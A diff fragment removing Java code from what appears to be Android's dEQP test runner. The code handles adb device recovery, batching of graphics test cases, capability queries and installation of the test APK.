-         */
-        public void recoverConnectionRefused() throws DeviceNotAvailableException;
-
-        /**
-         * Tries to recover device after abnormal execution termination or link failure.
-         *
-         * @param progressedSinceLastCall true if test execution has progressed since last call
-         * @throws DeviceNotAvailableException if recovery did not succeed
-         */
-        public void recoverComLinkKilled() throws DeviceNotAvailableException;
-    };
-
-    /**
-     * State machine for execution failure recovery.
-     *
-     * Exposed for unit testing
-     */
-    public static class Recovery implements IRecovery {
-        private int RETRY_COOLDOWN_MS = 6000; // 6 seconds
-        private int PROCESS_KILL_WAIT_MS = 1000; // 1 second
-
-        private static enum MachineState {
-            WAIT, // recover by waiting
-            RECOVER, // recover by calling recover()
-            REBOOT, // recover by rebooting
-            FAIL, // cannot recover
-        };
-
-        private MachineState mState = MachineState.WAIT;
-        private ITestDevice mDevice;
-        private ISleepProvider mSleepProvider;
-
-        private static class ProcessKillFailureException extends Exception {
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        public void setSleepProvider(ISleepProvider sleepProvider) {
-            mSleepProvider = sleepProvider;
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void setDevice(ITestDevice device) {
-            mDevice = device;
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void onExecutionProgressed() {
-            mState = MachineState.WAIT;
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void recoverConnectionRefused() throws DeviceNotAvailableException {
-            switch (mState) {
-                case WAIT: // not a valid stratedy for connection refusal, fallthrough
-                case RECOVER:
-                    // First failure, just try to recover
-                    CLog.w("ADB connection failed, trying to recover");
-                    mState = MachineState.REBOOT; // the next step is to reboot
-
-                    try {
-                        recoverDevice();
-                    } catch (DeviceNotAvailableException ex) {
-                        // chain forward
-                        recoverConnectionRefused();
-                    }
-                    break;
-
-                case REBOOT:
-                    // Second failure in a row, try to reboot
-                    CLog.w("ADB connection failed after recovery, rebooting device");
-                    mState = MachineState.FAIL; // the next step is to fail
-
-                    try {
-                        rebootDevice();
-                    } catch (DeviceNotAvailableException ex) {
-                        // chain forward
-                        recoverConnectionRefused();
-                    }
-                    break;
-
-                case FAIL:
-                    // Third failure in a row, just fail
-                    CLog.w("Cannot recover ADB connection");
-                    throw new DeviceNotAvailableException("failed to connect after reboot");
-            }
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void recoverComLinkKilled() throws DeviceNotAvailableException {
-            switch (mState) {
-                case WAIT:
-                    // First failure, just try to wait and try again
-                    CLog.w("ADB link failed, retrying after a cooldown period");
-                    mState = MachineState.RECOVER; // the next step is to recover the device
-
-                    waitCooldown();
-
-                    // even if the link to deqp on-device process was killed, the process might
-                    // still be alive. Locate and terminate such unwanted processes.
-                    try {
-                        killDeqpProcess();
-                    } catch (DeviceNotAvailableException ex) {
-                        // chain forward
-                        recoverComLinkKilled();
-                    } catch (ProcessKillFailureException ex) {
-                        // chain forward
-                        recoverComLinkKilled();
-                    }
-                    break;
-
-                case RECOVER:
-                    // Second failure, just try to recover
-                    CLog.w("ADB link failed, trying to recover");
-                    mState = MachineState.REBOOT; // the next step is to reboot
-
-                    try {
-                        recoverDevice();
-                        killDeqpProcess();
-                    } catch (DeviceNotAvailableException ex) {
-                        // chain forward
-                        recoverComLinkKilled();
-                    } catch (ProcessKillFailureException ex) {
-                        // chain forward
-                        recoverComLinkKilled();
-                    }
-                    break;
-
-                case REBOOT:
-                    // Third failure in a row, try to reboot
-                    CLog.w("ADB link failed after recovery, rebooting device");
-                    mState = MachineState.FAIL; // the next step is to fail
-
-                    try {
-                        rebootDevice();
-                    } catch (DeviceNotAvailableException ex) {
-                        // chain forward
-                        recoverComLinkKilled();
-                    }
-                    break;
-
-                case FAIL:
-                    // Fourth failure in a row, just fail
-                    CLog.w("Cannot recover ADB connection");
-                    throw new DeviceNotAvailableException("link killed after reboot");
-            }
-        }
-
-        private void waitCooldown() {
-            mSleepProvider.sleep(RETRY_COOLDOWN_MS);
-        }
-
-        private Iterable<Integer> getDeqpProcessPids() throws DeviceNotAvailableException {
-            final List<Integer> pids = new ArrayList<Integer>(2);
-            final String processes = mDevice.executeShellCommand("ps | grep com.drawelements");
-            final String[] lines = processes.split("(\\r|\\n)+");
-            for (String line : lines) {
-                final String[] fields = line.split("\\s+");
-                if (fields.length < 2) {
-                    continue;
-                }
-
-                try {
-                    final int processId = Integer.parseInt(fields[1], 10);
-                    pids.add(processId);
-                } catch (NumberFormatException ex) {
-                    continue;
-                }
-            }
-            return pids;
-        }
-
-        private void killDeqpProcess() throws DeviceNotAvailableException,
-                ProcessKillFailureException {
-            for (Integer processId : getDeqpProcessPids()) {
-                CLog.i("Killing deqp device process with ID %d", processId);
-                mDevice.executeShellCommand(String.format("kill -9 %d", processId));
-            }
-
-            mSleepProvider.sleep(PROCESS_KILL_WAIT_MS);
-
-            // check that processes actually died
-            if (getDeqpProcessPids().iterator().hasNext()) {
-                // a process is still alive, killing failed
-                CLog.w("Failed to kill all deqp processes on device");
-                throw new ProcessKillFailureException();
-            }
-        }
-
-        public void recoverDevice() throws DeviceNotAvailableException {
-            // Work around the API. We need to call recoverDevice() on the test device and
-            // we know that mDevice is a TestDevice. However even though the recoverDevice()
-            // method is public suggesting it should be publicly accessible, the class itself
-            // and its super-interface (IManagedTestDevice) are package-private.
-            final Method recoverDeviceMethod;
-            try {
-                recoverDeviceMethod = mDevice.getClass().getMethod("recoverDevice");
-                recoverDeviceMethod.setAccessible(true);
-            } catch (NoSuchMethodException ex) {
-                throw new AssertionError("Test device must have recoverDevice()");
-            }
-
-            try {
-                recoverDeviceMethod.invoke(mDevice);
-            } catch (InvocationTargetException ex) {
-                if (ex.getCause() instanceof DeviceNotAvailableException) {
-                    throw (DeviceNotAvailableException)ex.getCause();
-                } else if (ex.getCause() instanceof RuntimeException) {
-                    throw (RuntimeException)ex.getCause();
-                } else {
-                    throw new AssertionError("unexpected throw", ex);
-                }
-            } catch (IllegalAccessException ex) {
-                throw new AssertionError("unexpected throw", ex);
-            }
-        }
-
-        private void rebootDevice() throws DeviceNotAvailableException {
-            mDevice.reboot();
-        }
-    }
-
-    /**
-     * Parse map of instance arguments to map of BatchRunConfigurations
-     */
-    private static Map<TestIdentifier, Set<BatchRunConfiguration>> parseTestInstances(
-            Collection<TestIdentifier> tests,
-            Map<TestIdentifier, List<Map<String,String>>> testInstances) {
-        final Map<TestIdentifier, Set<BatchRunConfiguration>> instances = new HashMap<>();
-        for (final TestIdentifier test : tests) {
-            final Set<BatchRunConfiguration> testInstanceSet = new LinkedHashSet<>();
-            if (testInstances.get(test).isEmpty()) {
-                // no instances defined, use default
-                testInstanceSet.add(DEFAULT_CONFIG);
-            } else {
-                for (Map<String, String> instanceArgs : testInstances.get(test)) {
-                    testInstanceSet.add(parseRunConfig(instanceArgs));
-                }
-            }
-            instances.put(test, testInstanceSet);
-        }
-        return instances;
-    }
-
-    private static BatchRunConfiguration parseRunConfig(Map<String,String> instanceArguments) {
-        final String glConfig;
-        final String rotation;
-        final String surfaceType;
-
-        if (instanceArguments.containsKey("glconfig")) {
-            glConfig = instanceArguments.get("glconfig");
-        } else {
-            glConfig = DEFAULT_CONFIG.getGlConfig();
-        }
-        if (instanceArguments.containsKey("rotation")) {
-            rotation = instanceArguments.get("rotation");
-        } else {
-            rotation = DEFAULT_CONFIG.getRotation();
-        }
-        if (instanceArguments.containsKey("surfaceType")) {
-            surfaceType = instanceArguments.get("surfaceType");
-        } else {
-            surfaceType = DEFAULT_CONFIG.getSurfaceType();
-        }
-
-        return new BatchRunConfiguration(glConfig, rotation, surfaceType);
-    }
-
-    private Set<BatchRunConfiguration> getTestRunConfigs (TestIdentifier testId) {
-        return mTestInstances.get(testId);
-    }
-
-    /**
-     * Converts dEQP testcase path to TestIdentifier.
-     */
-    private static TestIdentifier pathToIdentifier(String testPath) {
-        String[] components = testPath.split("\\.");
-        String name = components[components.length - 1];
-        String className = null;
-
-        for (int i = 0; i < components.length - 1; i++) {
-            if (className == null) {
-                className = components[i];
-            } else {
-                className = className + "." + components[i];
-            }
-        }
-
-        return new TestIdentifier(className, name);
-    }
-
-    private String getId() {
-        return AbiUtils.createId(mAbi.getName(), mPackageName);
-    }
-
-    /**
-     * Generates tescase trie from dEQP testcase paths. Used to define which testcases to execute.
-     */
-    private static String generateTestCaseTrieFromPaths(Collection<String> tests) {
-        String result = "{";
-        boolean first = true;
-
-        // Add testcases to results
-        for (Iterator<String> iter = tests.iterator(); iter.hasNext();) {
-            String test = iter.next();
-            String[] components = test.split("\\.");
-
-            if (components.length == 1) {
-                if (!first) {
-                    result = result + ",";
-                }
-                first = false;
-
-                result += components[0];
-                iter.remove();
-            }
-        }
-
-        if (!tests.isEmpty()) {
-            HashMap<String, ArrayList<String> > testGroups = new HashMap<>();
-
-            // Collect all sub testgroups
-            for (String test : tests) {
-                String[] components = test.split("\\.");
-                ArrayList<String> testGroup = testGroups.get(components[0]);
-
-                if (testGroup == null) {
-                    testGroup = new ArrayList<String>();
-                    testGroups.put(components[0], testGroup);
-                }
-
-                testGroup.add(test.substring(components[0].length()+1));
-            }
-
-            for (String testGroup : testGroups.keySet()) {
-                if (!first) {
-                    result = result + ",";
-                }
-
-                first = false;
-                result = result + testGroup
-                        + generateTestCaseTrieFromPaths(testGroups.get(testGroup));
-            }
-        }
-
-        return result + "}";
-    }
-
-    /**
-     * Generates testcase trie from TestIdentifiers.
-     */
-    private static String generateTestCaseTrie(Collection<TestIdentifier> tests) {
-        ArrayList<String> testPaths = new ArrayList<String>();
-
-        for (TestIdentifier test : tests) {
-            testPaths.add(test.getClassName() + "." + test.getTestName());
-        }
-
-        return generateTestCaseTrieFromPaths(testPaths);
-    }
-
-    private static class TestBatch {
-        public BatchRunConfiguration config;
-        public List<TestIdentifier> tests;
-    }
-
-    private TestBatch selectRunBatch() {
-        return selectRunBatch(mRemainingTests, null);
-    }
-
-    /**
-     * Creates a TestBatch from the given tests or null if not tests remaining.
-     *
-     *  @param pool List of tests to select from
-     *  @param requiredConfig Select only instances with pending requiredConfig, or null to select
-     *         any run configuration.
-     */
-    private TestBatch selectRunBatch(Collection<TestIdentifier> pool,
-            BatchRunConfiguration requiredConfig) {
-        // select one test (leading test) that is going to be executed and then pack along as many
-        // other compatible instances as possible.
-
-        TestIdentifier leadingTest = null;
-        for (TestIdentifier test : pool) {
-            if (!mRemainingTests.contains(test)) {
-                continue;
-            }
-            if (requiredConfig != null &&
-                    !mInstanceListerner.isPendingTestInstance(test, requiredConfig)) {
-                continue;
-            }
-            leadingTest = test;
-            break;
-        }
-
-        // no remaining tests?
-        if (leadingTest == null) {
-            return null;
-        }
-
-        BatchRunConfiguration leadingTestConfig = null;
-        if (requiredConfig != null) {
-            leadingTestConfig = requiredConfig;
-        } else {
-            for (BatchRunConfiguration runConfig : getTestRunConfigs(leadingTest)) {
-                if (mInstanceListerner.isPendingTestInstance(leadingTest, runConfig)) {
-                    leadingTestConfig = runConfig;
-                    break;
-                }
-            }
-        }
-
-        // test pending <=> test has a pending config
-        if (leadingTestConfig == null) {
-            throw new AssertionError("search postcondition failed");
-        }
-
-        final int leadingInstability = getTestInstabilityRating(leadingTest);
-
-        final TestBatch runBatch = new TestBatch();
-        runBatch.config = leadingTestConfig;
-        runBatch.tests = new ArrayList<>();
-        runBatch.tests.add(leadingTest);
-
-        for (TestIdentifier test : pool) {
-            if (test == leadingTest) {
-                // do not re-select the leading tests
-                continue;
-            }
-            if (!mInstanceListerner.isPendingTestInstance(test, leadingTestConfig)) {
-                // select only compatible
-                continue;
-            }
-            if (getTestInstabilityRating(test) != leadingInstability) {
-                // pack along only cases in the same stability category. Packing more dangerous
-                // tests along jeopardizes the stability of this run. Packing more stable tests
-                // along jeopardizes their stability rating.
-                continue;
-            }
-            if (runBatch.tests.size() >= getBatchSizeLimitForInstability(leadingInstability)) {
-                // batch size is limited.
-                break;
-            }
-            runBatch.tests.add(test);
-        }
-
-        return runBatch;
-    }
-
-    private int getBatchNumPendingCases(TestBatch batch) {
-        int numPending = 0;
-        for (TestIdentifier test : batch.tests) {
-            if (mInstanceListerner.isPendingTestInstance(test, batch.config)) {
-                ++numPending;
-            }
-        }
-        return numPending;
-    }
-
-    private int getBatchSizeLimitForInstability(int batchInstabilityRating) {
-        // reduce group size exponentially down to one
-        return Math.max(1, TESTCASE_BATCH_LIMIT / (1 << batchInstabilityRating));
-    }
-
-    private int getTestInstabilityRating(TestIdentifier testId) {
-        if (mTestInstabilityRatings.containsKey(testId)) {
-            return mTestInstabilityRatings.get(testId);
-        } else {
-            return 0;
-        }
-    }
-
-    private void recordTestInstability(TestIdentifier testId) {
-        mTestInstabilityRatings.put(testId, getTestInstabilityRating(testId) + 1);
-    }
-
-    private void clearTestInstability(TestIdentifier testId) {
-        mTestInstabilityRatings.put(testId, 0);
-    }
-
-    /**
-     * Executes all tests on the device.
-     */
-    private void runTests() throws DeviceNotAvailableException, CapabilityQueryFailureException {
-        for (;;) {
-            TestBatch batch = selectRunBatch();
-
-            if (batch == null) {
-                break;
-            }
-
-            runTestRunBatch(batch);
-        }
-    }
-
-    /**
-     * Runs a TestBatch by either faking it or executing it on a device.
-     */
-    private void runTestRunBatch(TestBatch batch) throws DeviceNotAvailableException,
-            CapabilityQueryFailureException {
-        // prepare instance listener
-        mInstanceListerner.setCurrentConfig(batch.config);
-        for (TestIdentifier test : batch.tests) {
-            mInstanceListerner.setTestInstances(test, getTestRunConfigs(test));
-        }
-
-        // execute only if config is executable, else fake results
-        if (isSupportedRunConfiguration(batch.config)) {
-            executeTestRunBatch(batch);
-        } else {
-            fakePassTestRunBatch(batch);
-        }
-    }
-
-    private boolean isSupportedRunConfiguration(BatchRunConfiguration runConfig)
-            throws DeviceNotAvailableException, CapabilityQueryFailureException {
-        // orientation support
-        if (!BatchRunConfiguration.ROTATION_UNSPECIFIED.equals(runConfig.getRotation())) {
-            final Set<String> features = getDeviceFeatures(mDevice);
-
-            if (isPortraitClassRotation(runConfig.getRotation()) &&
-                    !features.contains(FEATURE_PORTRAIT)) {
-                return false;
-            }
-            if (isLandscapeClassRotation(runConfig.getRotation()) &&
-                    !features.contains(FEATURE_LANDSCAPE)) {
-                return false;
-            }
-        }
-
-        if (isOpenGlEsPackage()) {
-            // renderability support for OpenGL ES tests
-            return isSupportedGlesRenderConfig(runConfig);
-        } else {
-            return true;
-        }
-    }
-
-    private static final class AdbComLinkOpenError extends Exception {
-        public AdbComLinkOpenError(String description, Throwable inner) {
-            super(description, inner);
-        }
-    }
-
-    private static final class AdbComLinkKilledError extends Exception {
-        public AdbComLinkKilledError(String description, Throwable inner) {
-            super(description, inner);
-        }
-    }
-
-    /**
-     * Executes a given command in adb shell
-     *
-     * @throws AdbComLinkOpenError if connection cannot be established.
-     * @throws AdbComLinkKilledError if established connection is killed prematurely.
-     */
-    private void executeShellCommandAndReadOutput(final String command,
-            final IShellOutputReceiver receiver)
-            throws AdbComLinkOpenError, AdbComLinkKilledError {
-        try {
-            mDevice.getIDevice().executeShellCommand(command, receiver,
-                    UNRESPOSIVE_CMD_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        } catch (TimeoutException ex) {
-            // Opening connection timed out
-            CLog.e("Opening connection timed out for command: '%s'", command);
-            throw new AdbComLinkOpenError("opening connection timed out", ex);
-        } catch (AdbCommandRejectedException ex) {
-            // Command rejected
-            CLog.e("Device rejected command: '%s'", command);
-            throw new AdbComLinkOpenError("command rejected", ex);
-        } catch (IOException ex) {
-            // shell command channel killed
-            CLog.e("Channel died for command: '%s'", command);
-            throw new AdbComLinkKilledError("command link killed", ex);
-        } catch (ShellCommandUnresponsiveException ex) {
-            // shell command halted
-            CLog.e("No output from command in %d ms: '%s'", UNRESPOSIVE_CMD_TIMEOUT_MS, command);
-            throw new AdbComLinkKilledError("command link hung", ex);
-        }
-    }
-
-    /**
-     * Executes given test batch on a device
-     */
-    private void executeTestRunBatch(TestBatch batch) throws DeviceNotAvailableException {
-        // attempt full run once
-        executeTestRunBatchRun(batch);
-
-        // split remaining tests to two sub batches and execute both. This will terminate
-        // since executeTestRunBatchRun will always progress for a batch of size 1.
-        final ArrayList<TestIdentifier> pendingTests = new ArrayList<>();
-
-        for (TestIdentifier test : batch.tests) {
-            if (mInstanceListerner.isPendingTestInstance(test, batch.config)) {
-                pendingTests.add(test);
-            }
-        }
-
-        final int divisorNdx = pendingTests.size() / 2;
-        final List<TestIdentifier> headList = pendingTests.subList(0, divisorNdx);
-        final List<TestIdentifier> tailList = pendingTests.subList(divisorNdx, pendingTests.size());
-
-        // head
-        for (;;) {
-            TestBatch subBatch = selectRunBatch(headList, batch.config);
-
-            if (subBatch == null) {
-                break;
-            }
-
-            executeTestRunBatch(subBatch);
-        }
-
-        // tail
-        for (;;) {
-            TestBatch subBatch = selectRunBatch(tailList, batch.config);
-
-            if (subBatch == null) {
-                break;
-            }
-
-            executeTestRunBatch(subBatch);
-        }
-
-        if (getBatchNumPendingCases(batch) != 0) {
-            throw new AssertionError("executeTestRunBatch postcondition failed");
-        }
-    }
-
-    /**
-     * Runs one execution pass over the given batch.
-     *
-     * Tries to run the batch. Always makes progress (executes instances or modifies stability
-     * scores).
-     */
-    private void executeTestRunBatchRun(TestBatch batch) throws DeviceNotAvailableException {
-        if (getBatchNumPendingCases(batch) != batch.tests.size()) {
-            throw new AssertionError("executeTestRunBatchRun precondition failed");
-        }
-
-        checkInterrupted(); // throws if interrupted
-
-        final String testCases = generateTestCaseTrie(batch.tests);
-
-        mDevice.executeShellCommand("rm " + CASE_LIST_FILE_NAME);
-        mDevice.executeShellCommand("rm " + LOG_FILE_NAME);
-        mDevice.pushString(testCases + "\n", CASE_LIST_FILE_NAME);
-
-        final String instrumentationName =
-                "com.drawelements.deqp/com.drawelements.deqp.testercore.DeqpInstrumentation";
-
-        final StringBuilder deqpCmdLine = new StringBuilder();
-        deqpCmdLine.append("--deqp-caselist-file=");
-        deqpCmdLine.append(CASE_LIST_FILE_NAME);
-        deqpCmdLine.append(" ");
-        deqpCmdLine.append(getRunConfigDisplayCmdLine(batch.config));
-
-        // If we are not logging data, do not bother outputting the images from the test exe.
-        if (!mLogData) {
-            deqpCmdLine.append(" --deqp-log-images=disable");
-        }
-
-        deqpCmdLine.append(" --deqp-watchdog=enable");
-
-        final String command = String.format(
-                "am instrument %s -w -e deqpLogFileName \"%s\" -e deqpCmdLine \"%s\""
-                    + " -e deqpLogData \"%s\" %s",
-                AbiUtils.createAbiFlag(mAbi.getName()), LOG_FILE_NAME, deqpCmdLine.toString(),
-                mLogData, instrumentationName);
-
-        final int numRemainingInstancesBefore = getNumRemainingInstances();
-        final InstrumentationParser parser = new InstrumentationParser(mInstanceListerner);
-        Throwable interruptingError = null;
-
-        try {
-            CLog.d("Running command '%s'", command);
-            executeShellCommandAndReadOutput(command, parser);
-            parser.flush();
-        } catch (Throwable ex) {
-            CLog.w("Instrumented call threw '%s'", ex.getMessage());
-            interruptingError = ex;
-        }
-
-        final boolean progressedSinceLastCall = mInstanceListerner.getCurrentTestId() != null ||
-                getNumRemainingInstances() < numRemainingInstancesBefore;
-
-        if (progressedSinceLastCall) {
-            mDeviceRecovery.onExecutionProgressed();
-        }
-
-        // interrupted, try to recover
-        if (interruptingError != null) {
-            if (interruptingError instanceof AdbComLinkOpenError) {
-                CLog.i("Recovering from comm link error");
-                mDeviceRecovery.recoverConnectionRefused();
-            } else if (interruptingError instanceof AdbComLinkKilledError) {
-                CLog.i("Recovering from comm link killed");
-                mDeviceRecovery.recoverComLinkKilled();
-            } else if (interruptingError instanceof RunInterruptedException) {
-                // external run interruption request. Terminate immediately.
-                CLog.i("Run termination requested. Throwing forward.");
-                throw (RunInterruptedException)interruptingError;
-            } else {
-                CLog.e(interruptingError);
-                throw new RuntimeException(interruptingError);
-            }
-
-            // recoverXXX did not throw => recovery succeeded
-        } else if (!parser.wasSuccessful()) {
-            CLog.i("Parse not successful. Will attempt comm link recovery.");
-            mDeviceRecovery.recoverComLinkKilled();
-            // recoverXXX did not throw => recovery succeeded
-        }
-
-        // Progress guarantees.
-        if (batch.tests.size() == 1) {
-            final TestIdentifier onlyTest = batch.tests.iterator().next();
-            final boolean wasTestExecuted =
-                    !mInstanceListerner.isPendingTestInstance(onlyTest, batch.config) &&
-                    mInstanceListerner.getCurrentTestId() == null;
-            final boolean wasLinkFailure = !parser.wasSuccessful() || interruptingError != null;
-
-            // Link failures can be caused by external events, require at least two observations
-            // until bailing.
-            if (!wasTestExecuted && (!wasLinkFailure || getTestInstabilityRating(onlyTest) > 0)) {
-                recordTestInstability(onlyTest);
-                // If we cannot finish the test, mark the case as a crash.
-                //
-                // If we couldn't even start the test, fail the test instance as non-executable.
-                // This is required so that a consistently crashing or non-existent tests will
-                // not cause futile (non-terminating) re-execution attempts.
-                if (mInstanceListerner.getCurrentTestId() != null) {
-                    CLog.w("Test '%s' started, but not completed", onlyTest);
-                    mInstanceListerner.abortTest(onlyTest, INCOMPLETE_LOG_MESSAGE);
-                } else {
-                    CLog.w("Test '%s' could not start", onlyTest);
-                    mInstanceListerner.abortTest(onlyTest, NOT_EXECUTABLE_LOG_MESSAGE);
-                }
-            } else if (wasTestExecuted) {
-                clearTestInstability(onlyTest);
-            }
-        }
-        else
-        {
-            // Analyze results to update test stability ratings. If there is no interrupting test
-            // logged, increase instability rating of all remaining tests. If there is a
-            // interrupting test logged, increase only its instability rating.
-            //
-            // A successful run of tests clears instability rating.
-            if (mInstanceListerner.getCurrentTestId() == null) {
-                for (TestIdentifier test : batch.tests) {
-                    if (mInstanceListerner.isPendingTestInstance(test, batch.config)) {
-                        recordTestInstability(test);
-                    } else {
-                        clearTestInstability(test);
-                    }
-                }
-            } else {
-                recordTestInstability(mInstanceListerner.getCurrentTestId());
-                for (TestIdentifier test : batch.tests) {
-                    // \note: isPendingTestInstance is false for getCurrentTestId. Current ID is
-                    // considered 'running' and will be restored to 'pending' in endBatch().
-                    if (!test.equals(mInstanceListerner.getCurrentTestId()) &&
-                            !mInstanceListerner.isPendingTestInstance(test, batch.config)) {
-                        clearTestInstability(test);
-                    }
-                }
-            }
-        }
-
-        mInstanceListerner.endBatch();
-    }
-
-    private static String getRunConfigDisplayCmdLine(BatchRunConfiguration runConfig) {
-        final StringBuilder deqpCmdLine = new StringBuilder();
-        if (!runConfig.getGlConfig().isEmpty()) {
-            deqpCmdLine.append("--deqp-gl-config-name=");
-            deqpCmdLine.append(runConfig.getGlConfig());
-        }
-        if (!runConfig.getRotation().isEmpty()) {
-            if (deqpCmdLine.length() != 0) {
-                deqpCmdLine.append(" ");
-            }
-            deqpCmdLine.append("--deqp-screen-rotation=");
-            deqpCmdLine.append(runConfig.getRotation());
-        }
-        if (!runConfig.getSurfaceType().isEmpty()) {
-            if (deqpCmdLine.length() != 0) {
-                deqpCmdLine.append(" ");
-            }
-            deqpCmdLine.append("--deqp-surface-type=");
-            deqpCmdLine.append(runConfig.getSurfaceType());
-        }
-        return deqpCmdLine.toString();
-    }
-
-    private int getNumRemainingInstances() {
-        int retVal = 0;
-        for (TestIdentifier testId : mRemainingTests) {
-            // If case is in current working set, sum only not yet executed instances.
-            // If case is not in current working set, sum all instances (since they are not yet
-            // executed).
-            if (mInstanceListerner.mPendingResults.containsKey(testId)) {
-                retVal += mInstanceListerner.mPendingResults.get(testId).remainingConfigs.size();
-            } else {
-                retVal += mTestInstances.get(testId).size();
-            }
-        }
-        return retVal;
-    }
-
-    /**
-     * Checks if this execution has been marked as interrupted and throws if it has.
-     */
-    private void checkInterrupted() throws RunInterruptedException {
-        // Work around the API. RunUtil::checkInterrupted is private but we can call it indirectly
-        // by sleeping a value <= 0.
-        mRunUtil.sleep(0);
-    }
-
-    /**
-     * Pass given batch tests without running it
-     */
-    private void fakePassTestRunBatch(TestBatch batch) {
-        for (TestIdentifier test : batch.tests) {
-            CLog.d("Skipping test '%s' invocation in config '%s'", test.toString(),
-                    batch.config.getId());
-            mInstanceListerner.skipTest(test);
-        }
-    }
-
-    /**
-     * Pass all remaining tests without running them
-     */
-    private void fakePassTests(ITestInvocationListener listener) {
-        Map <String, String> emptyMap = Collections.emptyMap();
-        for (TestIdentifier test : mRemainingTests) {
-            CLog.d("Skipping test '%s', Opengl ES version not supported", test.toString());
-            listener.testStarted(test);
-            listener.testEnded(test, emptyMap);
-        }
-        mRemainingTests.clear();
-    }
-
-    /**
-     * Check if device supports OpenGL ES version.
-     */
-    private static boolean isSupportedGles(ITestDevice device, int requiredMajorVersion,
-            int requiredMinorVersion) throws DeviceNotAvailableException {
-        String roOpenglesVersion = device.getProperty("ro.opengles.version");
-
-        if (roOpenglesVersion == null)
-            return false;
-
-        int intValue = Integer.parseInt(roOpenglesVersion);
-
-        int majorVersion = ((intValue & 0xffff0000) >> 16);
-        int minorVersion = (intValue & 0xffff);
-
-        return (majorVersion > requiredMajorVersion)
-                || (majorVersion == requiredMajorVersion && minorVersion >= requiredMinorVersion);
-    }
-
-    /**
-     * Query if rendertarget is supported
-     */
-    private boolean isSupportedGlesRenderConfig(BatchRunConfiguration runConfig)
-            throws DeviceNotAvailableException, CapabilityQueryFailureException {
-        // query if configuration is supported
-        final StringBuilder configCommandLine =
-                new StringBuilder(getRunConfigDisplayCmdLine(runConfig));
-        if (configCommandLine.length() != 0) {
-            configCommandLine.append(" ");
-        }
-        configCommandLine.append("--deqp-gl-major-version=");
-        configCommandLine.append(getGlesMajorVersion());
-        configCommandLine.append(" --deqp-gl-minor-version=");
-        configCommandLine.append(getGlesMinorVersion());
-
-        final String commandLine = configCommandLine.toString();
-
-        // check for cached result first
-        if (mConfigQuerySupportCache.containsKey(commandLine)) {
-            return mConfigQuerySupportCache.get(commandLine);
-        }
-
-        final boolean supported = queryIsSupportedConfigCommandLine(commandLine);
-        mConfigQuerySupportCache.put(commandLine, supported);
-        return supported;
-    }
-
-    private boolean queryIsSupportedConfigCommandLine(String deqpCommandLine)
-            throws DeviceNotAvailableException, CapabilityQueryFailureException {
-        final String instrumentationName =
-                "com.drawelements.deqp/com.drawelements.deqp.platformutil.DeqpPlatformCapabilityQueryInstrumentation";
-        final String command = String.format(
-                "am instrument %s -w -e deqpQueryType renderConfigSupported -e deqpCmdLine \"%s\""
-                    + " %s",
-                AbiUtils.createAbiFlag(mAbi.getName()), deqpCommandLine, instrumentationName);
-
-        final PlatformQueryInstrumentationParser parser = new PlatformQueryInstrumentationParser();
-        mDevice.executeShellCommand(command, parser);
-        parser.flush();
-
-        if (parser.wasSuccessful() && parser.getResultCode() == 0 &&
-                parser.getResultMap().containsKey("Supported")) {
-            if ("Yes".equals(parser.getResultMap().get("Supported"))) {
-                return true;
-            } else if ("No".equals(parser.getResultMap().get("Supported"))) {
-                return false;
-            } else {
-                CLog.e("Capability query did not return a result");
-                throw new CapabilityQueryFailureException();
-            }
-        } else if (parser.wasSuccessful()) {
-            CLog.e("Failed to run capability query. Code: %d, Result: %s",
-                    parser.getResultCode(), parser.getResultMap().toString());
-            throw new CapabilityQueryFailureException();
-        } else {
-            CLog.e("Failed to run capability query");
-            throw new CapabilityQueryFailureException();
-        }
-    }
-
-    /**
-     * Return feature set supported by the device
-     */
-    private Set<String> getDeviceFeatures(ITestDevice device)
-            throws DeviceNotAvailableException, CapabilityQueryFailureException {
-        if (mDeviceFeatures == null) {
-            mDeviceFeatures = queryDeviceFeatures(device);
-        }
-        return mDeviceFeatures;
-    }
-
-    /**
-     * Query feature set supported by the device
-     */
-    private static Set<String> queryDeviceFeatures(ITestDevice device)
-            throws DeviceNotAvailableException, CapabilityQueryFailureException {
-        // NOTE: Almost identical code in BaseDevicePolicyTest#hasDeviceFeatures
-        // TODO: Move this logic to ITestDevice.
-        String command = "pm list features";
-        String commandOutput = device.executeShellCommand(command);
-
-        // Extract the id of the new user.
-        HashSet<String> availableFeatures = new HashSet<>();
-        for (String feature: commandOutput.split("\\s+")) {
-            // Each line in the output of the command has the format "feature:{FEATURE_VALUE}".
-            String[] tokens = feature.split(":");
-            if (tokens.length < 2 || !"feature".equals(tokens[0])) {
-                CLog.e("Failed parse features. Unexpect format on line \"%s\"", tokens[0]);
-                throw new CapabilityQueryFailureException();
-            }
-            availableFeatures.add(tokens[1]);
-        }
-        return availableFeatures;
-    }
-
-    private boolean isPortraitClassRotation(String rotation) {
-        return BatchRunConfiguration.ROTATION_PORTRAIT.equals(rotation) ||
-                BatchRunConfiguration.ROTATION_REVERSE_PORTRAIT.equals(rotation);
-    }
-
-    private boolean isLandscapeClassRotation(String rotation) {
-        return BatchRunConfiguration.ROTATION_LANDSCAPE.equals(rotation) ||
-                BatchRunConfiguration.ROTATION_REVERSE_LANDSCAPE.equals(rotation);
-    }
-
-    /**
-     * Install dEQP OnDevice Package
-     */
-    private void installTestApk() throws DeviceNotAvailableException {
-        try {
-            File apkFile = mCtsBuild.getTestApp(DEQP_ONDEVICE_APK);
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
-            String errorCode = getDevice().installPackage(apkFile, true, options);
-            if (errorCode != null) {
-                CLog.e("Failed to install %s. Reason: %s", DEQP_ONDEVICE_APK, errorCode);
-            }
-        } catch (FileNotFoundException e) {
-            CLog.e("Could not find test apk %s", DEQP_ONDEVICE_APK);
-        }
-    }
-
-    /**
-     * Uninstall dEQP OnDevice Package
-     */
-    private void uninstallTestApk() throws DeviceNotAvailableException {
-        getDevice().uninstallPackage(DEQP_ONDEVICE_PKG);
-    }
-
-    /**
-     * Parse gl nature from package name
-     */
-    private boolean isOpenGlEsPackage() {
-        if ("dEQP-GLES2".equals(mName) || "dEQP-GLES3".equals(mName) ||
-                "dEQP-GLES31".equals(mName)) {
-            return true;
-        } else if ("dEQP-EGL".equals(mName)) {
-            return false;
